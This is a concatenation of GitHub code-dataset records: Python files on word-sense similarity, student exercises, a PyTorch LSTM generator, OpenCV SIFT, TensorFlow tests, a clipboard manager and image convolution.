sorted(d_sum_ranking_prov[sense], key=lambda x: x[2])\n\n for idx, l_sent in enumerate(l_sorted):\n ranking = idx + 1\n l_sent.append(ranking)\n\n for l_sent in l_sorted:\n assert l_sent[0] not in d_sum_ranking[sense], f\"Sentence cannot be in dictionary yet: {l_sent}.\"\n d_sum_ranking[sense][l_sent[0]] = (l_sent[1], l_sent[2], l_sent[3])\n\n # assert that all sentences occur with only one sense and store final ranking as separate entry\n for sent in d_sims_linked:\n n_occurrences = 0\n\n for sense in d_sum_ranking:\n\n if sent in d_sum_ranking[sense]:\n d_sims_linked[sent][\"ranking_sense\"][\"rankings_sum\"] = (sense, d_sum_ranking[sense][sent][2])\n n_occurrences += 1\n\n assert n_occurrences == 1, \\\n f\"Invalid number of sentence occurrences ({n_occurrences}) in d_ranking for sentence {sent}.\"\n\n return d_sims_linked, l_diff\n\n\ndef link_sims_to_rest(\n root_proj: str,\n ambig_item_code: str,\n d_rest: Dict,\n enrich_type: str,\n sim_calc_meth: str,\n sim_thresh_aat: float,\n diff_thresh_aat: float,\n n_iters: int,\n n_sents_added_per_iter_top_n: int,\n direc_temp: str,\n direc_enriched_lab_data: str,\n direc_iter: str,\n direc_sims: str,\n f_enriched_lab_data: str,\n fn_sims_rest: str,\n l_cosine_sims: np.ndarray,\n d_lab_data: Dict,\n d_mapping_new_orig: Dict,\n d_mapping_orig_new: Dict\n) -> Dict:\n \"\"\"Link precalculated similarities to rest set sentences and enrich labelled data dictionary with sentences which\n were selected as additional training data by the method.\n :param root_proj: name of the project.\n :param ambig_item_code: ambiguous item code.\n :param d_rest: dictionary containing the rest set.\n :param enrich_type: way in which the automatic addition of extra training data should be performed.\n :param sim_calc_meth: way in which the cosine similarity should be calculated.\n :param sim_thresh_aat: minimal cosine similarity value a rest set sentence should have before it can be added as\n additional training data.\n :param diff_thresh_aat: minimal difference between the top two maintained cosine similarity values a rest set\n sentence should have before it can be added as additional training data for the top sense.\n :param n_iters: number of iterations which will be performed.\n :param n_sents_added_per_iter_top_n: number of sentences added for each sense in the top-N setup.\n :param direc_temp: name of the directory in which all temp data generated by the method are saved.\n :param direc_enriched_lab_data: name of the directory in which the enriched labelled data dictionaries are saved.\n :param direc_iter: fixed part of directory name of the directories in which the results per iteration are saved.\n :param direc_sims: name of the directory in which the linked similarities are saved.\n :param f_enriched_lab_data: fixed part of the filenames of the files in which the enriched labelled data\n dictionaries per iteration are saved.\n :param fn_sims_rest: filename of the file in which the similarity calculations for the rest set are saved.\n :param l_cosine_sims: list of cosine similarities.\n :param d_lab_data: processed version of the original labelled data dictionary.\n :param d_mapping_new_orig: mapping dictionary in which the new sentence IDs are linked to their original data.\n :param d_mapping_orig_new: mapping dictionary in which the original sentence data are linked to their new IDs.\n :return: the last enriched labelled data dictionary.\n \"\"\"\n proj = \"_\".join([root_proj, enrich_type])\n ambig_item_code_fns = ambig_item_code.replace(\"|\", \"_\")\n l_d_entries_example_sents = [\"l_example_sents\", \"l_example_sents_autom_added\"]\n\n for idx_iter in range(n_iters):\n iter_number = idx_iter + 1\n print(f\"\\n-----Running iteration {iter_number} for {proj}.-----\\n\")\n\n # define labelled data dictionary which serves as input for the similarity calculations\n if idx_iter == 0:\n d_lab_data_inp = d_lab_data\n else:\n fn_d_lab_data_inp = f\"{f_enriched_lab_data}{(iter_number - 1)}.json\"\n d_lab_data_inp = load_json(\n os.path.join(direc_temp, direc_enriched_lab_data, proj, sim_calc_meth, fn_d_lab_data_inp)\n )\n\n # define labelled data dictionary which needs to be updated after the similarity calculations\n fn_d_lab_data_to_be_upd = f\"{f_enriched_lab_data}{iter_number}.json\"\n d_lab_data_to_be_upd = define_d_lab_data_to_be_upd(\n proj, ambig_item_code, d_lab_data, direc_temp, direc_enriched_lab_data, sim_calc_meth,\n fn_d_lab_data_to_be_upd\n )\n\n # link similarities, enrich labelled data dictionary and dump resulting variables to JSON files\n d_sims_rest, l_diff = link_sims_to_rest_iteration(\n ambig_item_code, d_lab_data_inp, d_rest, sim_calc_meth, l_cosine_sims, d_mapping_new_orig,\n d_mapping_orig_new, l_d_entries_example_sents\n )\n dump_json(os.path.join(\n direc_temp, proj, sim_calc_meth, f\"{direc_iter}{iter_number}\", direc_sims, ambig_item_code_fns\n ), fn_sims_rest, d_sims_rest)\n\n d_lab_data_outp = enrich_d_lab_data(\n ambig_item_code, enrich_type, d_rest, d_sims_rest, d_lab_data_inp, d_lab_data_to_be_upd, sim_thresh_aat,\n diff_thresh_aat, n_sents_added_per_iter_top_n, d_mapping_orig_new\n )\n dump_json(\n os.path.join(direc_temp, direc_enriched_lab_data, proj, sim_calc_meth), fn_d_lab_data_to_be_upd,\n d_lab_data_outp\n )\n\n return d_lab_data_outp if n_iters > 0 else d_lab_data\n\n\ndef link_sims_to_target(\n ambig_item_code: str,\n d_lab_data: Dict,\n d_target: Dict,\n meth: str,\n l_cosine_sims: np.ndarray,\n d_mapping_new_orig: Dict,\n d_mapping_orig_new: Dict\n) -> Dict:\n \"\"\"Link precalculated similarities to target set sentences in order to generate the predictions.\n :param ambig_item_code: ambiguous item code.\n :param d_lab_data: the enriched labelled data dictionary.\n :param d_target: dictionary containing the target set.\n :param meth: way in which the cosine similarity should be calculated.\n :param l_cosine_sims: list of cosine similarities.\n :param d_mapping_new_orig: mapping dictionary in which the new sentence IDs are linked to their original data.\n :param d_mapping_orig_new: mapping dictionary in which the original sentence data are linked to their new IDs.\n :return: dictionary containing cosine similarity values and output triplets for each sentence in the set.\n \"\"\"\n l_d_entries_example_sents = [\"l_example_sents\", \"l_example_sents_autom_added\"]\n\n # variables to be defined while looping over the labelled data dictionary\n l_ids_example_sents = []\n d_ids_example_sents_per_sense = {}\n\n # loop over labelled data dictionary to extract all necessary information\n for sense in d_lab_data[ambig_item_code]:\n d_ids_example_sents_per_sense[sense] = []\n\n for entry in l_d_entries_example_sents:\n\n if entry in d_lab_data[ambig_item_code][sense]:\n\n for d_sent in d_lab_data[ambig_item_code][sense][entry]:\n sent_id = d_sent[\"sent_ID\"]\n l_ids_example_sents.append(sent_id)\n d_ids_example_sents_per_sense[sense].append(sent_id)\n\n # extract similarities from l_cosine_sims\n l_target_sents = [target_sent_orig for target_sent_orig in d_target]\n d_sims_linked = {\n target_sent_orig: {\"sim_scores\": {}, \"output_triplet\": Tuple[str, str, str]}\n for target_sent_orig in l_target_sents\n }\n\n for target_sent_orig in l_target_sents:\n idx_target_sent_new = d_mapping_orig_new[target_sent_orig][\"idx_l_sims\"]\n\n for sense in d_lab_data[ambig_item_code]:\n l_sims = []\n\n for example_sent_new in d_ids_example_sents_per_sense[sense]:\n idx_example_sent_new = d_mapping_new_orig[example_sent_new][\"idx_l_sims\"]\n partial_sim = l_cosine_sims[idx_target_sent_new][idx_example_sent_new]\n l_sims.append(partial_sim)\n\n sim_max = max(l_sims)\n sim_avg_score = statistics.mean(l_sims)\n\n if meth == \"cs_max\":\n d_sims_linked[target_sent_orig][\"sim_scores\"][sense] = sim_max\n\n if meth == \"cs_avg\":\n d_sims_linked[target_sent_orig][\"sim_scores\"][sense] = sim_avg_score\n\n if meth == \"cs_max_plus_avg\":\n d_sims_linked[target_sent_orig][\"sim_scores\"][sense] = (sim_max + sim_avg_score) / 2\n\n # determine for each sentence the output triplet (predicted sense, highest maintained cosine similarity value\n # corresponding to the predicted sense, difference with the second highest maintained value)\n for sent in d_sims_linked:\n max_sense = max(d_sims_linked[sent][\"sim_scores\"].items(), key=operator.itemgetter(1))[0]\n max_sim = max(d_sims_linked[sent][\"sim_scores\"].items(), key=operator.itemgetter(1))[1]\n second_max_sim = sorted(d_sims_linked[sent][\"sim_scores\"].values(), reverse=True)[1]\n diff = max_sim - second_max_sim\n d_sims_linked[sent][\"output_triplet\"] = (max_sense, max_sim, diff)\n\n return d_sims_linked\n","repo_name":"JasperD-UGent/wsd-for-icall","sub_path":"utils/calculate_similarity.py","file_name":"calculate_similarity.py","file_ext":"py","file_size_in_byte":17082,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"25509698022","text":"print('Progressão Aritmética 3.0')\r\nn1 = int(input('Digite o primeiro termo: '))\r\nn2 = int(input('Digite a razão da PA: '))\r\npa = n1\r\nc = 1\r\nx = ''\r\ncont = 10\r\nwhile x != 0:\r\n while c <= cont:\r\n print(pa, end=' ')\r\n pa += n2\r\n c += 1\r\n print('->' if c <= cont else '', end=' ')\r\n x = int(input('\\nAcrescentar mais termos? ([0] para sair): '))\r\n if x != 0:\r\n cont += x\r\n else:\r\n print('Foram mostrados {} termos'.format(cont))\r\n","repo_name":"lukaspblima/Estudo_Python","sub_path":"exe062_PA3.0.py","file_name":"exe062_PA3.0.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36381185241","text":"from ast import match_case\nfrom curses.ascii import isalnum\nimport calendar\nimport math\nimport random\n# Task 1\n# - Ввести значення(рік), вивести повідомлення `It's a leap year!` якщо рік \n# високосний і `This is not a leap year!` якщо ні.\n\n# First solution\ntry:\n year = int(input(\"Please insert a year to check if it is leap year: \"))\n if year % 4 == 0:\n print(\"It's a leap year!\")\n else:\n print(\"This is not a leap year!\")\nexcept:\n ValueError \n print(\"Please enter correct year\")\n\n# Second solution\n# try:\n# year = int(input(\"Please insert a year to check if it is leap year: \"))\n# checkYear = calendar.isleap(year)\n# if checkYear is True:\n# print(\"It's a leap year!\")\n# else:\n# print(\"This is not a leap year!\")\n \n# except:\n# ValueError \n# print(\"Please enter correct year\")\n\n\n# Task 2\n# - Ввести три значення (рік, місяць, день) у відповідні змінні. Визначити \n# чи введені дані відповідають коректному запису дати.\nrun = True\nwhile run:\n year = input(\"Please enter correct year: \")\n if year.isdigit() and 0< int(year):\n print(\"Correct\")\n else:\n print(\"Your input is incorrect\")\n break\n month = input(\"Please enter correct month: \")\n if year.isdigit() and 1 <= int(month) <=12 :\n print(\"Correct\")\n else:\n print(\"Your input is incorrect\")\n break\n day = input(\"Please enter correct day: \")\n monthrange = int(calendar.monthrange(int(year), int(month))[1])\n if day.isdigit():\n if int(day) >0 and int(day) <= monthrange:\n print(\"Correct\")\n break\n else:\n print(\"Your day is out of range of month\")\n break\n else:\n print(\"Your input is incorrect\")\n break\n\n\n# Task 3\n# - Для довільних дійсних чисел `a`, `b`, і `c` визначити, чи має рівняння \n# `ax2+bx+c=0` хоча б один дійсний корінь і якщо так, то видрукувати \n# його.\nprint(\"ax2 * bx * c=0\")\na= float(input (\"Insert 'a'\"))\nb= float(input (\"Insert 'b'\"))\nc= float(input (\"Insert 'c'\"))\nd = float(b*b - 4 * a* c)\nif d>0:\n sqrtD = math.sqrt(d)\n x1 = (-b + sqrtD)/(a*2)\n x2 = (-b - sqrtD)/(a*2)\n print(f\"This quadratic equation will have next roots: {x1}, {x2}\")\nelif d == 0:\n x=-b/2*a\n print(f\"This quadratic equation will have next root: {x}\")\nelse:\n print(\"There is no roots\")\n# Task 4\n# - Задано три довільних числа. Визначити, чи можна побудувати \n# трикутник з такими довжинами сторін; Якщо так, то видрукувати його \n# периметр та площу.\ntry:\n a = int(input(\"Please insert first side of triangle: \"))\n b = int(input(\"Please insert second side of triangle: \"))\n c = int(input(\"Please insert last side of triangle: \"))\n per = a+b+c # Heron's formula\n p = per/2 #Half of perimetr\n s = math.sqrt(p*(p-a)*(p-b)*(p-c))\n if a> b+c or b>a+c or c>b+a:\n print(\"Impossible to build a triangle\")\n else:\n print (f\"Your triangle with sides {a}, {b}, {c} will have:\")\n print(f'Perimetr = {per}')\n print(f'Area = {s}')\nexcept:\n ValueError \n print(\"Please enter correct number\")\n\n\n# Task 5\n# - Нехай `k`- ціле від `1` до `365`. Присвоїти цілій змінній n значення \n# (понеділок, вівторок, …, суботу чи неділю) залежно від того , на який \n# день тижня припадає `k`-й день не високосного року, в якому 1 січня -\n# понеділок.\n\nk = random.randrange(1, 365)\nif k % 7 == 0:\n n = \"Sunday\"\nelif k % 7 == 1 or k == 1:\n n = \"Monday\"\nelif k % 7 == 2 or k == 2:\n n = \"Tuesday\"\nelif k % 7 == 3 or k == 3:\n n = \"Wednesday\"\nelif k % 7 == 4 or k == 4:\n n = \"Thursday\"\nelif k % 7 == 5 or k == 5:\n n = \"Friday\"\nelif k % 7 == 6 or k == 6:\n n = \"Saturday\"\nprint (f' On {k} day will be {n}')\n","repo_name":"python-core-13-09-22/lessons_python-core-13-09-22","sub_path":"lesson04/hw/Nyree911/hw04.py","file_name":"hw04.py","file_ext":"py","file_size_in_byte":4424,"program_lang":"python","lang":"uk","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"70046536054","text":"# -*- coding: utf-8 -*-\r\n# @Author : William\r\n# @Project : TextGAN-william\r\n# @FileName : config.py\r\n# @Time : Created at 2019-03-18\r\n# @Blog : http://zhiweil.ml/\r\n# @Description :\r\n# Copyrights (C) 2018. All Rights Reserved.\r\nimport math\r\n\r\nimport torch\r\nimport torch.nn as nn\r\n\r\nimport config as cfg\r\nfrom utils.helpers import truncated_normal_\r\n\r\n\r\nclass LSTMGenerator(nn.Module):\r\n\r\n def __init__(self, embedding_dim, hidden_dim, vocab_size, max_seq_len, padding_idx, gpu=False):\r\n super(LSTMGenerator, self).__init__()\r\n self.name = 'vanilla'\r\n\r\n self.hidden_dim = hidden_dim\r\n self.embedding_dim = embedding_dim\r\n self.max_seq_len = max_seq_len\r\n self.vocab_size = vocab_size\r\n self.padding_idx = padding_idx\r\n self.gpu = gpu\r\n\r\n self.temperature = 1.0\r\n\r\n self.embeddings = nn.Embedding(vocab_size, embedding_dim, padding_idx=padding_idx)\r\n\r\n self.lstm = nn.LSTM(embedding_dim, hidden_dim, batch_first=True)\r\n self.lstm2out = nn.Linear(hidden_dim, vocab_size)\r\n self.softmax = nn.LogSoftmax(dim=-1)\r\n\r\n self.init_params()\r\n\r\n\r\n def stance_aware_setting(self, context, emb):\r\n if cfg.if_use_context_attention_aware:\r\n if context == None:\r\n context = torch.zeros(emb.shape[0], emb.shape[1], self.hidden_dim).to(cfg.device) # batch_size * seq-len * (hidden_dim)\r\n # ==== approach 0 ====: we do the concatenation\r\n # emb = torch.cat([emb, context], dim=-1) # batch_size * seq-len * (embedding_dim+hidden_dim)\r\n # ==== approach 1 ====: we follow the linear feedforward and norm layer setting\r\n context_in_emb_dim = self.hidden2embed(context) # batch_size * seq-len * embedding_dim\r\n emb = emb + context_in_emb_dim\r\n emb = self.layer_norm(emb)\r\n return emb\r\n\r\n def forward(self, inp, hidden, need_hidden=False, context=None):\r\n \"\"\"\r\n Embeds input and applies LSTM\r\n :param inp: batch_size * seq_len\r\n :param hidden: (h, c)\r\n :param need_hidden: if return hidden, use for sampling\r\n \"\"\"\r\n\r\n # bing: self.lstm can use traditional LSTM module or the relational module-- learn from it!\r\n # print(inp.shape) # in the w/ linear embedding, it should be batchsize*len-seq*vocab\r\n emb = self.embeddings(inp) # batch_size * seq-len * embedding_dim\r\n if len(inp.size()) == 1:\r\n emb = emb.unsqueeze(1) # batch_size * 1 * embedding_dim\r\n\r\n emb = self.stance_aware_setting(context,emb)\r\n\r\n\r\n # h_n of shape (num_layers * num_directions, batch, hidden_size)\r\n out, hidden = self.lstm(emb, hidden) # out: batch_size * seq_len * hidden_dim\r\n # todo: check this contiguous function\r\n out = out.contiguous().view(-1, self.hidden_dim) # out: (batch_size * seq_len) * hidden_dim\r\n out = self.lstm2out(out) # (batch_size * seq_len) * vocab_size\r\n # out = self.temperature * out # temperature\r\n pred = self.softmax(out) # (batch_size * seq_len) * vocab_size: softmax just for the normalization\r\n\r\n if need_hidden:\r\n return pred, hidden\r\n else:\r\n return pred\r\n\r\n def sample(self, num_samples, batch_size, start_letter=cfg.start_letter):\r\n \"\"\"\r\n Samples the network and returns num_samples samples of length max_seq_len.\r\n :return samples: num_samples * max_seq_length (a sampled sequence in each row)\r\n \"\"\"\r\n num_batch = num_samples // batch_size + 1 if num_samples != batch_size else 1\r\n samples = torch.zeros(num_batch * batch_size, self.max_seq_len).long()\r\n\r\n # Generate sentences with multinomial sampling strategy\r\n for b in range(num_batch):\r\n hidden = self.init_hidden(batch_size)\r\n inp = torch.LongTensor([start_letter] * batch_size)\r\n if self.gpu:\r\n inp = inp.cuda()\r\n\r\n for i in range(self.max_seq_len):\r\n out, hidden = self.forward(inp, hidden, need_hidden=True) # out: batch_size * vocab_size\r\n next_token = torch.multinomial(torch.exp(out), 1) # batch_size * 1 (sampling from each row)\r\n samples[b * batch_size:(b + 1) * batch_size, i] = next_token.view(-1)\r\n inp = next_token.view(-1)\r\n samples = samples[:num_samples]\r\n\r\n return samples\r\n\r\n def init_params(self):\r\n for param in self.parameters():\r\n if param.requires_grad and len(param.shape) > 0:\r\n stddev = 1 / math.sqrt(param.shape[0])\r\n if cfg.gen_init == 'uniform':\r\n torch.nn.init.uniform_(param, a=-0.05, b=0.05)\r\n elif cfg.gen_init == 'normal':\r\n torch.nn.init.normal_(param, std=stddev)\r\n elif cfg.gen_init == 'truncated_normal':\r\n truncated_normal_(param, std=stddev)\r\n\r\n def init_oracle(self):\r\n for param in self.parameters():\r\n if param.requires_grad:\r\n torch.nn.init.normal_(param, mean=0, std=1)\r\n\r\n def init_hidden(self, batch_size=cfg.batch_size):\r\n h = torch.zeros(1, batch_size, self.hidden_dim)\r\n c = torch.zeros(1, batch_size, self.hidden_dim)\r\n\r\n if self.gpu:\r\n return h.cuda(), c.cuda()\r\n else:\r\n return h, c\r\n","repo_name":"claws-lab/petgen","sub_path":"models/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":5423,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"21"} +{"seq_id":"9146858595","text":"import re\n\nmake_bold = True\n\nfilename = \"table_results.tex\"\nfinal_tex = \"\"\nwith open(filename, 'r') as tex_file:\n for line in tex_file.readlines():\n if not \"&\" in line:\n final_tex += line\n else:\n newline = \"\"\n all_means = []\n for el in line.split(\"&\"):\n if \"\\pm\" in el:\n mean, std = re.findall('[-+]?[0-9]+\\.?[0-9]*', el)\n all_means.append(float(mean))\n if mean.startswith(\"-\"):\n newline += \"\\\\text{-}\"\n mean = mean[1:]\n if \"bf\" in el:\n import ipdb; ipdb.set_trace()\n newline += \"$\" + mean + \"\\\\mbox{\\\\scriptsize$\\\\pm\" + std + \"$}$\"\n else:\n mean = re.findall('[-+]?[0-9]+\\.?[0-9]*', el)\n if len(mean) == 1 and \"\\\\\" not in el:\n if \".\" in mean[0]:\n all_means.append(float(mean[0]))\n else:\n all_means.append(int(mean[0]))\n newline += el.replace(\" \", \"\")\n newline += \" & \"\n if all_means:\n highest_score = max(all_means)\n position = newline.index(str(highest_score))\n if newline[position-1] == \"$\":\n newline = newline.replace(str(highest_score), '\\\\mathbf{' + str(highest_score) + '}')\n else:\n newline = newline.replace(str(highest_score), '$\\\\mathbf{' + str(highest_score) + '}$')\n # print(newline[:-5].count(\"&\"), line.count(\"&\"), line[:10])\n newline = newline[:-5]\n if line.endswith(\"\\\\\\\\\\n\") and not newline.endswith(\"\\\\\\\\\\n\"):\n newline += \"\\\\\\\\\\n\"\n final_tex += newline\n\nwith open(f\"corrected_{filename}\", \"w\") as outfile:\n outfile.write(final_tex)\n# \\text{-}$20\\mbox{\\scriptsize$\\pm 0.7$}$\n","repo_name":"k4ntz/latex_utils","sub_path":"table_processing/make_pm_small.py","file_name":"make_pm_small.py","file_ext":"py","file_size_in_byte":1991,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"22699409286","text":"import cv2 as cv\nimg = cv.imread('img2.jpg', 0)\nsift = cv.xfeatures2d.SIFT_create()\nkp = sift.detect(img, None)\nimg1 = cv.drawKeypoints(img, kp, None)\ncv.imshow('SIFT', img1)\nimg2 = cv.drawKeypoints(img, kp, None, flags=cv.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\ncv.imshow('SIFT_Enhance', img2)\n# To Return Detection and description Feature in img we used function detectAndCompute\nkp, desc = sift.detectAndCompute(img, None)\nprint(kp)\nprint(desc)\ncv.waitKey()\ncv.destroyAllWindows()","repo_name":"mohamed9964/computer_vision","sub_path":"sift_algorithm.py","file_name":"sift_algorithm.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71958520052","text":"\ntamVetor=10\n\nsomaTotal=0\nmaiorQuantidade=0\nposicaoMaiorQuantidade=0\n\npreco = [0]*tamVetor\nquantidade = [0]*tamVetor\n\nprint(\"\\t*****BEM VINDO AO SISTEMA DE PEDIDO*****\\n\")\n\nfor x in range(tamVetor):\n print(\" Digite a quantidade de produto nº\",x+1,\":\")\n quantidade[x]=int(input())\n print(\" Digite o preço do produto:\")\n preco[x] = float(input());\n\n\nprint(\"\\n\"\"\\t *****RELATÓRIO - ORÇAMENTO DO PEDIDO*****\\n\")\nfor i in range(tamVetor):\n print(\" Produto\",i+1, \": Preço:\", preco[i],\"Quantidade:\", quantidade[i],\"Soma:\",(preco[i]*quantidade[i]))\n\nfor y in range(tamVetor):\n soma=preco[y]*quantidade[y]\n somaTotal= somaTotal + soma\nprint(\"\\n Total da compra deu: R$\", somaTotal, \" - A sua comissão dessa venda foi de: R$\", somaTotal*0.05 )\n\nfor n in range(tamVetor):\n if(quantidade[n] > maiorQuantidade):\n maiorQuantidade = quantidade[n]\n posicaoMaiorQuantidade = n\nprint(\"\\t \\n O produto com a maior quantidade vendida foi:\", maiorQuantidade)\nprint(\" E a sua posição no vetor é:\", posicaoMaiorQuantidade)\n \n","repo_name":"biancalazzaris/loja_artesanato","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1037299283","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.ops import variable_scope\nfrom tensorflow.python.platform import test\nfrom tensorflow.python.training.checkpointable import base\nfrom tensorflow.python.training.checkpointable import util\n\n\nclass InterfaceTests(test.TestCase):\n\n def testOverwrite(self):\n root = base.CheckpointableBase()\n leaf = base.CheckpointableBase()\n root._track_checkpointable(leaf, name=\"leaf\")\n (current_name, current_dependency), = root._checkpoint_dependencies\n self.assertIs(leaf, current_dependency)\n self.assertEqual(\"leaf\", current_name)\n duplicate_name_dep = base.CheckpointableBase()\n with self.assertRaises(ValueError):\n root._track_checkpointable(duplicate_name_dep, name=\"leaf\")\n root._track_checkpointable(duplicate_name_dep, name=\"leaf\", overwrite=True)\n (current_name, current_dependency), = root._checkpoint_dependencies\n self.assertIs(duplicate_name_dep, current_dependency)\n self.assertEqual(\"leaf\", current_name)\n\n def testAddVariableOverwrite(self):\n root = base.CheckpointableBase()\n a = root._add_variable_with_custom_getter(\n name=\"v\", shape=[], getter=variable_scope.get_variable)\n self.assertEqual([root, a], util.list_objects(root))\n with ops.Graph().as_default():\n b = root._add_variable_with_custom_getter(\n name=\"v\", shape=[], overwrite=True,\n getter=variable_scope.get_variable)\n self.assertEqual([root, b], util.list_objects(root))\n with ops.Graph().as_default():\n with self.assertRaisesRegexp(\n ValueError, \"already declared as a dependency\"):\n root._add_variable_with_custom_getter(\n name=\"v\", shape=[], overwrite=False,\n getter=variable_scope.get_variable)\n\nif __name__ == \"__main__\":\n test.main()\n","repo_name":"kendryte/kendryte-tensorflow","sub_path":"tensorflow/python/training/checkpointable/base_test.py","file_name":"base_test.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"21"} +{"seq_id":"5943329520","text":"class Solution:\n def expressiveWords(self, S, words):\n \"\"\"\n :type S: str\n :type words: List[str]\n :rtype: int\n \"\"\"\n s_groups = self._get_groups(S)\n words_groups = [self._get_groups(word) for word in words]\n \n # Filter words\n words_groups = [wg for wg in words_groups if len(wg) == len(s_groups)]\n\n satisfy = [1] * len(words_groups)\n \n for i in range(len(s_groups)):\n for num, wg in enumerate(words_groups):\n if not satisfy[num]:\n continue\n \n if not self._group_can_be_extended(wg[i], s_groups[i]):\n satisfy[num] = 0\n \n return satisfy.count(1)\n \n def _group_can_be_extended(self, group, target):\n if group == target:\n return True\n \n if len(target) < 3 or len(target) <= len(group):\n return False\n \n return group[0] == target[0]\n \n \n def _get_groups(self, S):\n groups = []\n current = ''\n for letter in S:\n if not current:\n current = letter\n elif current[0] != letter:\n groups.append(current)\n current = letter\n else:\n current += letter\n \n if current:\n groups.append(current)\n \n return groups\n \n\nsolver = Solution()\n\nassert ['q', 'w', 'e', 'r'] == solver._get_groups('qwer')\nassert ['aa', 'b', 'cc'] == solver._get_groups('aabcc')\nassert ['eee'] == solver._get_groups('eee')\n\n# Example:\n# We can extend \"e\" and \"o\" in the word \"hello\" to get \"heeellooo\".\n# We can't extend \"helo\" to get \"heeellooo\" because the group \"ll\" is not extended.\nassert 1 == solver.expressiveWords(\"heeellooo\", [\"hello\", \"hi\", \"helo\"])\n","repo_name":"gugaevkirill/algorithms","sub_path":"Simple/LeetCode 809. Expressive Words/expressive_words.py","file_name":"expressive_words.py","file_ext":"py","file_size_in_byte":1851,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"41776526227","text":"__author__ = 'Abhineet Saxena'\n\nfrom pybrain.structure import FeedForwardNetwork\nfrom pybrain.structure import LinearLayer, SigmoidLayer\nfrom pybrain.structure import FullConnection\n\n# Here we instantiate a Feed-Forward Network.\nannet = FeedForwardNetwork()\n\n# Creation of the input layer: Here the integer denotes the number of nodes we wish to have in the layer.\ninLayer = LinearLayer(2, 'inlyr')\n\n# Creation of the hidden layer.\nhid1Layer = SigmoidLayer(2, 'hiddenlyr')\n\n# Creation of the Output layer.\noutLayer = LinearLayer(1, 'outlyr')\n\n# Instantiating the Bias Unit.\nbias_val = BiasUnit()\n\n# Adding the corresponding layers to the network.\nannet.addInputModule(inLayer)\nannet.addModule(hid1Layer)\nannet.addModule(bias_val)\nannet.addOutputModule(outLayer)\n\n# Adding the connections b/w layers pair-wise.\n# Note\n# FullConnection denotes all the nodes of one layer are connected to all nodes in the next layer.\nannet.addConnection(FullConnection(inLayer, hid1Layer))\nannet.addConnection(FullConnection(bias_val, hid1Layer))\nannet.addConnection(FullConnection(hid1Layer, outLayer))\n\n# The method performs internal management of the specifications.\nannet.sortModules()\n","repo_name":"acmxrds/blog","sub_path":"saxena-1115-1/ann_init.py","file_name":"ann_init.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"37095660003","text":"import pyperclip, sys, shelve\r\n\r\n# check system argument that runs with mcb.pyw\r\nshelfile = shelve.open('myclipboard')\r\nif len(sys.argv) == 1:\r\n print('no action taken yet')\r\nelif sys.argv[1] == 'list':\r\n print(list(shelfile.keys()))\r\nelif sys.argv[1] == 'save':\r\n try:\r\n shelfile[sys.argv[2]] = pyperclip.paste()\r\n print('keyword has been copied to shelfile')\r\n except IndexError:\r\n print('One more argument needed')\r\nelif len(sys.argv) > 2 and sys.argv[1] == 'delete':\r\n try:\r\n del shelfile[sys.argv[2]]\r\n print('keyword has been deleted from shelfile')\r\n except IndexError:\r\n print('One more argument needed')\r\nelif len(sys.argv) == 2 and sys.argv[1] == 'delete':\r\n try:\r\n for keyword in list(shelfile.keys()):\r\n del shelfile[keyword]\r\n print('keyword has been deleted from shelfile')\r\n except IndexError:\r\n print('One more argument needed')\r\nelif sys.argv[1] in list(shelfile.keys()):\r\n pyperclip.copy(shelfile[sys.argv[1]])\r\n print('keyword copied to clipboard')\r\nelif sys.argv[1] not in list(shelfile.keys()):\r\n print('Argument no found in shelfile list')\r\n\r\nshelfile.close()\r\n\r\n\r\n\r\n","repo_name":"bkjboadu/automating-stuff","sub_path":"Reading and Writing Files/mcb.pyw","file_name":"mcb.pyw","file_ext":"pyw","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72360359733","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport config_file as cfg\r\n\r\ndef padding_image(image):\r\n rows,columns = len(image), len(image[0])\r\n padded_image = np.zeros((rows+2,columns+2))\r\n padded_image[1:-1,1:-1] = image\r\n padded_image[0,1:-1] = image[0,:]\r\n padded_image[-1,1:-1] = image[-1,:]\r\n padded_image[1:-1,0] = image[:,0]\r\n padded_image[1:-1,-1] = image[:,-1]\r\n padded_image[0,0] = image[0,0]\r\n padded_image[0,-1] = image[0,-1]\r\n padded_image[-1,0] = image[-1,0]\r\n padded_image[-1,-1] = image[-1,-1]\r\n return padded_image\r\n\r\ndef convolution(image,kernel,div,bias):\r\n padded_image = padding_image(image)\r\n rows, columns = len(padded_image), len(padded_image[0])\r\n new_image = np.zeros((rows,columns))\r\n d = len(kernel)-int((len(kernel)+1.0)/2.0) \r\n for i in range(1,rows-1):\r\n for j in range(1,columns-1):\r\n value_pixel = np.sum(padded_image[i-d:i+d+1,j-d:j+d+1]*kernel)/div + bias\r\n if(value_pixel > 0.2*np.amax(image)):\r\n new_image[i,j] = 1.0\r\n else:\r\n new_image[i,j] = 0.0\r\n return new_image[1:-1,1:-1]\r\n\r\n\r\ndef productory(array_of_images):\r\n image = np.ones((len(array_of_images[0]),len(array_of_images[0][0])))\r\n for i in array_of_images:\r\n image = image*i\r\n return image\r\n\r\ndef value_in_image(image,value):\r\n index_i 